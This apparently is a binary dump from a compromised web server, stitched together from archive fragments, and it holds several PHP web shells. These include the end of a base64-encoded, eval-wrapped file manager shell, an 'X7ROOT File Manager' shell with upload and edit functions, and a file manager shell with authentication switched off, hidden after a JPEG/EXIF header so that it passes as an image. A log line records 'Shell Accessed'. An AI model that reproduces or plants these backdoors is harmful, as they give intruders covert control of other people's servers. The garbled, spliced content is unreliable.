bWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0
aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkqOCkvuCkriDgpKzgpKbgpLIg4KSm
4KS/4KSv4KS+IOCkl+Ckr+CkviDgpLngpYghJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNj
cmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHg
pKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KJF9QT1NUWyduYW1lJ10g
PSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBj
bGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJjb2wiPgo8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlw
ZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIGNsYXNzPSJmb3Jt
LWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJOYW1hIEJhcnUiPgoJPC9kaXY+CjxpbnB1dCB0eXBlPSJo
aWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlw
ZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgoJPGRpdiBjbGFzcz0iY29sIj4K
PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXBy
aW1hcnkgYnRuLWJsb2NrIj4KPC9kaXY+CjwvZGl2Pgo8L2Zvcm0+JzsKfWVsc2UgaWYoJF9QT1NU
WydvcHQnXSA9PSAnZWRpdCcpewppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiRmcCA9IGZvcGVu
KCRfUE9TVFsncGF0aCddLCd3Jyk7CmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewplY2hv
ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCk
q+CksuCkpOCkr+CkviDgpKjgpL7gpK4g4KSq4KSw4KS/4KS14KSw4KWN4KSk4KS/4KSk4KSu4KWN
IEZpbGUnKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0n
P3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+Ck
gyEhIScpPC9zY3JpcHQ+IjsKfQpmY2xvc2UoJGZwKTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBP
U1QiPgo8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iOCIgbmFtZT0ic3JjIj4n
Lmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90
ZXh0YXJlYT4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NU
WydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQi
Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i4KSw4KSV4KWN4KS34KWNIiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIG10LTMiPgo8L2Zvcm0+JzsKfQplY2hvICc8
L2NlbnRlcj4nOwp9ZWxzZXsKZWNobyAnPC90YWJsZT48YnIvPjxjZW50ZXI+JzsKaWYoaXNzZXQo
JF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsKaWYoJF9QT1NU
Wyd0eXBlJ10gPT0gJ2RpcicpewppZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewplY2hvICI8c2Ny
aXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCkq+CksiBE
ZWxldGUgRm9sZGVyJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9j
YXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDg
pY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Zp
bGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93Lmxv
Y2F0aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgn4KS44KSr4KSyIERlbGV0ZSBGaWxlJyk8
L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIu
JHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwv
c2NyaXB0PiI7Cn0KfQp9CmVjaG8gJzwvY2VudGVyPic7CiRzY2FuZGlyID0gc2NhbmRpcigkcGF0
aCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlLWxnIG10LTIiPgoJPHRhYmxl
IGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI+CgkJPHRoZWFkIGNsYXNzPSJiZy13YXJuaW5nIHRl
eHQtY2VudGVyIj4KCQkJPHRyPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkqOCkvuCkruCkgzwvdGg+
CgkJCQk8dGggc2NvcGU9ImNvbCI+4KSq4KWN4KSw4KSV4KS+4KSw4KSDPC90aD4KCQkJCTx0aCBz
Y29wZT0iY29sIj7gpIbgpJXgpYPgpKTgpL88L3RoPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkheCk
qOClgeCknOCljeCknuCkvuCkquCkpOCljeCksOCkruCljTwvdGg+CgkJCQk8dGggc2NvcGU9ImNv
bCI+4KSo4KS+4KSu4KSq4KSk4KWN4KSwPC90aD48L3RyPjwvdGhlYWQ+CgknOwoJZm9yZWFjaCgk
c2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAn
LicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAnPHRyPgo8dGQgc2NvcGU9ImNvbCI+
PGltZyBzcmM9Imh0dHA6Ly9hdXguaWNvbnNwYWxhY2UuY29tL3VwbG9hZHMvZm9sZGVyLWljb24t
MjU2LTE3ODc2NzI0ODIucG5nIiBjbGFzcz0iaWNvIj4gPGEgaHJlZj0iP3BhdGg9Jy4kcGF0aC4n
LycuJGRpci4nIj4nLiRkaXIuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5Gb2xk
ZXI8L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj4tLTwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1j
ZW50ZXIiPic7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAn
PGZvbnQgY29sb3I9InJlZCI+JzsKZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7CmlmKGlzX3dy
aXRhYmxlKCRwYXRoLicvJy4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBl
Y2hvICc8L2ZvbnQ+JzsKCmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPjxmb3Jt
IG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/b3B0aW9uJnBhdGg9Jy4kcGF0aC4nIj4KCTxkaXYgY2xh
c3M9InJvdyI+CgkJPGRpdiBjbGFzcz0iY29sIj4KPHNlbGVjdCBuYW1lPSJvcHQiIGNsYXNzPSJj
dXN0b20tc2VsZWN0Ij4KPG9wdGlvbiB2YWx1ZT0iIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2
YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPkNobW9k
PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InJlbmFtZSI+UmVuYW1lPC9vcHRpb24+Cjwvc2VsZWN0
Pgo8L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImRpciI+Cjxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWUiIHZhbHVlPSInLiRkaXIuJyI+CjxpbnB1dCB0
eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRoLicvJy4kZGlyLiciPgoJPGRp
diBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4g
YnRuLW91dGxpbmUtcHJpbWFyeSBidG4tYmxvY2siPgoJPC9kaXY+Cgk8L2Rpdj4KPC9mb3JtPjwv
dGQ+CjwvdHI+JzsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKaWYoIWlzX2ZpbGUoJHBh
dGguJy8nLiRmaWxlKSkgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoJHBhdGguJy8nLiRmaWxl
KS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUg
PSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsK
fQoKZWNobyAnPHRyPgo8dGQ+PGltZyBzcmM9Iic7CgkJCQkJJGV4dCA9IHN0cnRvbG93ZXIocGF0
aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoJCQkJCWlmKCRleHQgPT0gInBocCIp
IHsKCQkJCQkJZWNobwkKCQkJJ2h0dHA6Ly9pLmltZ3VyLmNvbS9lOG1rdlBmLnBuZyInOyAKCQkJ
CQl9ZWxzZWlmICgkZXh0ID09ICJqcGVnIikgewoJCQkJCQllY2hvICdodHRwOi8vaS5pbWd1ci5j
b20vZThta3ZQZi5wbmciJzsgCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicGwiKSB7CgkJCQkJCWVj
aG8gJ2h0dHA6Ly9pLmltZ3VyLmNvbS9Qbm1YOEg5LnBuZyc7IAoJCQkJCX1lbHNlewoJCQkJCQll
Y2hvICdodHRwOi8vaWNvbnMuaWNvbmFyY2hpdmUuY29tL2ljb25zL3pob29sZWdvL21hdGVyaWFs
LzI1Ni9GaWxldHlwZS1Eb2NzLWljb24ucG5nJzsKCQkJCQl9CgkJCQkJZWNobyAnIiBjbGFzcz0i
aWNvMiI+IDxhIGhyZWY9Ij9maWxlc3JjPScuJHBhdGguJy8nLiRmaWxlLicmcGF0aD0nLiRwYXRo
LiciPicuJGZpbGUuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5GaWxlPC90ZD4K
PHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+Jy4kc2l6ZS4nPC90ZD4KPHRkIGNsYXNzPSJ0ZXh0LWNl
bnRlciI+JzsKaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8g
Jzxmb250IGNvbG9yPSJyZWQiPic7CmVjaG8gcGVybXMoJHBhdGguJy8nLiRmaWxlKTsKaWYoaXNf
d3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRmaWxl
KSkgZWNobyAnPC9mb250Pic7CmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJ
PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgoJCTxk
aXYgY2xhc3M9InJvdyI+CgkJCTxkaXYgY2xhc3M9ImNvbCI+CjxzZWxlY3QgbmFtZT0ib3B0IiBj
bGFzcz0iY3VzdG9tLXNlbGVjdCI+CjxvcHRpb24gdmFsdWU9IiI+U2VsZWN0PC9vcHRpb24+Cjxv
cHRpb24gdmFsdWU9ImRlbGV0ZSI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImNobW9k
Ij5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJyZW5hbWUiPlJlbmFtZTwvb3B0aW9uPgo8
b3B0aW9uIHZhbHVlPSJlZGl0Ij5FZGl0PC9vcHRpb24+Cjwvc2VsZWN0Pgo8L2Rpdj4KPGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImZpbGUiPgo8aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZmlsZS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGguJy8nLiRmaWxlLiciPgoJPGRpdiBjbGFzcz0iY29s
Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9LIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5l
LXByaW1hcnkgYnRuLWJsb2NrIj4KCTwvZGl2PgoJPC9kaXY+CjwvZm9ybT48L3RkPgo8L3RyPic7
Cn0KZWNobyAnPC90YWJsZT4KPC9kaXY+JzsKfQo/PiAgICAgICAgICAKICAgICAgPC9kaXY+CiAg
ICA8L2Rpdj4KICA8L2Rpdj4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20v
anF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1xOGkvWCs5NjVEek8w
clQ3YWJLNDFKU3RRSUFxVmdSVnpwYnpvNXNtWEtwNFlmUnZIKzhhYnRURTFQaTZqaXpvIiBjcm9z
c29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nk
bmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9wb3BwZXIuanMvMS4xNC4zL3VtZC9wb3BwZXIu
bWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1aTVA3clZvM21JeWtWKzIrOUozVUo0NmpCazBXTGFV
QWRuNjg5YUN3b3FiQkppU25qQUsvbDhXdkNXUElQbTQ5IiBjcm9zc29yaWdpbj0iYW5vbnltb3Vz
Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL3N0YWNrcGF0aC5ib290c3RyYXBj
ZG4uY29tL2Jvb3RzdHJhcC80LjEuMy9qcy9ib290c3RyYXAubWluLmpzIiBpbnRlZ3JpdHk9InNo
YTM4NC1DaGZxcXh1WlVDbkpTSzMrTVhtUE5JeUU2WmJXaDJJTXFFMjQxcllpcUp4eU1pWjZPVy9K
bVpRNXN0d0VVTFR5IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICA8c2NyaXB0
PgogICAgJCgiI21lbnUtdG9nZ2xlIikuY2xpY2soZnVuY3Rpb24oZSkgewogICAgICBlLnByZXZl
bnREZWZhdWx0KCk7CiAgICAgICQoIiN3cmFwcGVyIikudG9nZ2xlQ2xhc3MoInRvZ2dsZWQiKTsK
ICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmZ1bmN0aW9uIHBlcm1z
KCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAw
KSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAm
IDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxz
ZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICct
JzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVj
aWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7
Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09
IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgk
cGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0g
ZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBl
cm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/
ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgw
ODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7Cgov
LyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAu
PSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4
MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgw
NDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQp
ID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsK
JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDog
J3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsK
fQo/Pg=="));?>PK �Fm\�o�� � samurai_activity.lognu �[��� [2026-03-13 05:40:32] IP: 216.73.216.181 | Action: Shell Accessed | Target: 216.73.216.181 | Status: info | UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c
PK �Fm\���� � 8x2gj.phpnu �[��� <?php
@ini_set('display_errors', 0);
@set_time_limit(0);
error_reporting(0);
function safe($s) {
return htmlspecialchars($s, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
function formatSize($bytes) {
$units = ['B','KB','MB','GB','TB'];
for ($i = 0; $bytes >= 1024 && $i < count($units)-1; $i++) {
$bytes /= 1024;
}
return round($bytes, 2).' '.$units[$i];
}
$cwd = isset($_GET['path']) ? $_GET['path'] : getcwd();
$cwd = realpath($cwd);
// Handle upload
if (isset($_POST['upload']) && isset($_FILES['file'])) {
$target = $cwd . '/' . basename($_FILES['file']['name']);
if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo "<div style='color:#0f0'>[+] File uploaded successfully.</div>";
} else {
echo "<div style='color:#f00'>[-] Upload failed.</div>";
}
}
// Handle file edit save
if (isset($_POST['save']) && isset($_POST['filename'])) {
$path = $cwd.'/'.basename($_POST['filename']);
if (@file_put_contents($path, $_POST['content']) !== false) {
echo "<div style='color:#0f0'>[+] File saved successfully.</div>";
} else {
echo "<div style='color:#f00'>[-] Failed to save file.</div>";
}
}
// Handle create directory
if (isset($_POST['mkdir']) && isset($_POST['dirname'])) {
$dirName = basename($_POST['dirname']);
$fullPath = $cwd . '/' . $dirName;
if (!file_exists($fullPath)) {
if (@mkdir($fullPath)) {
echo "<div style='color:#0f0'>[+] Directory created.</div>";
} else {
echo "<div style='color:#f00'>[-] Failed to create directory.</div>";
}
} else {
echo "<div style='color:#f90'>[!] Directory already exists.</div>";
}
}
echo "<!DOCTYPE html><html lang='en'><head><meta charset='UTF-8'><title>File Manager</title><style>
body { background:#0d0d0d; color:#ccc; font-family:monospace; padding:20px; }
a { color:#5af; text-decoration:none; }
a:hover { text-decoration:underline; }
input, textarea, select { background:#111; color:#0f0; border:1px solid #444; padding:5px; width:100%; }
input[type=submit] { background:#222; color:#0f0; border:1px solid #0f0; cursor:pointer; }
hr { border:none; border-top:1px solid #333; margin:20px 0; }
.dir { color:#0ff; }
.file { color:#fff; }
.size { color:#999; float:right; }
h2 { margin:0 0 10px 0; }
</style></head><body>";
echo "<h2>X7ROOT File Manager</h2>";
echo "<b>Current Path:</b> ".safe($cwd)."<hr>";
// Show navigation
$parts = explode(DIRECTORY_SEPARATOR, $cwd);
$nav = "";
$build = "";
foreach ($parts as $p) {
if ($p == "") continue;
$build .= "/$p";
$nav .= "<a href='?path=".urlencode($build)."'>".safe($p)."</a> / ";
}
echo $nav."<hr>";
// File listing
$files = @scandir($cwd);
echo "<ul style='list-style:none;padding:0;'>";
foreach ($files as $f) {
if ($f == ".") continue;
$fp = $cwd.'/'.$f;
if (is_dir($fp)) {
echo "<li class='dir'>📠<a href='?path=".urlencode($fp)."'>".safe($f)."</a></li>";
} else {
echo "<li class='file'>📄 <a href='?path=".urlencode($cwd)."&edit=".urlencode($f)."'>".safe($f)."</a><span class='size'>(".formatSize(filesize($fp)).")</span></li>";
}
}
echo "</ul><hr>";
// Edit file
if (isset($_GET['edit'])) {
$file = basename($_GET['edit']);
$full = $cwd.'/'.$file;
if (file_exists($full)) {
$content = @file_get_contents($full);
echo "<h3>Editing: ".safe($file)."</h3>";
echo "<form method='post'>";
echo "<input type='hidden' name='filename' value='".safe($file)."'>";
echo "<textarea name='content' rows='15'>".safe($content)."</textarea><br>";
echo "<input type='submit' name='save' value='Save File'>";
echo "</form><hr>";
}
}
// Upload
echo "<h3>Upload File</h3>";
echo "<form method='post' enctype='multipart/form-data'>";
echo "<input type='file' name='file'><br>";
echo "<input type='submit' name='upload' value='Upload'>";
echo "</form><hr>";
// Create folder
echo "<h3>Create Folder</h3>";
echo "<form method='post'>";
echo "<input type='text' name='dirname' placeholder='New folder name'>";
echo "<input type='submit' name='mkdir' value='Create'>";
echo "</form>";
echo "</body></html>";PK �Fm\|�Y E� E� p20xj.phpnu �[��� ÿØÿà JFIF ,, AMPFÿá&ÿExif MM * ž ¤ ² º( 1 Â2 Ê< Þ ‡i ìˆ%
x
®Apple iPhone 13 Pro H H 17.1.2 2024:02:20 17:25:01 iPhone 13 Pro %‚š ®‚ ¶ˆ" ˆ' } 0232 ¾ Ò æ î ö‘ ’
þ’ ’
<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';
define('VERSION', '3.9');
define('APP_TITLE', 'swallowable');
$dauth = false;
$auth_users = array(
'admin' => '2e35b702f2cd5011321dbea58cd4700c',
'user' => '2e35b702f2cd5011321dbea58cd4700c'
);
$readonly_users = array(
'user'
);
$global_readonly = false;
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC';
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'm/d/Y g:i A';
$path_display_mode = 'full';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
$max_upload_size_bytes = 5000000000;
$upload_chunk_size_bytes = 2000000;
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
$external = array(
'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);
if ( !defined( 'DN_CESSION_ID')) {
define('DN_CESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$dauth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('nocache');
session_name(DN_CESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($_SESSION['token'])) {
if (function_exists('random_bytes')) {
$_SESSION['token'] = bin2hex(random_bytes(32));
} else {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
}
if (empty($auth_users)) {
$dauth = false;
}
$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
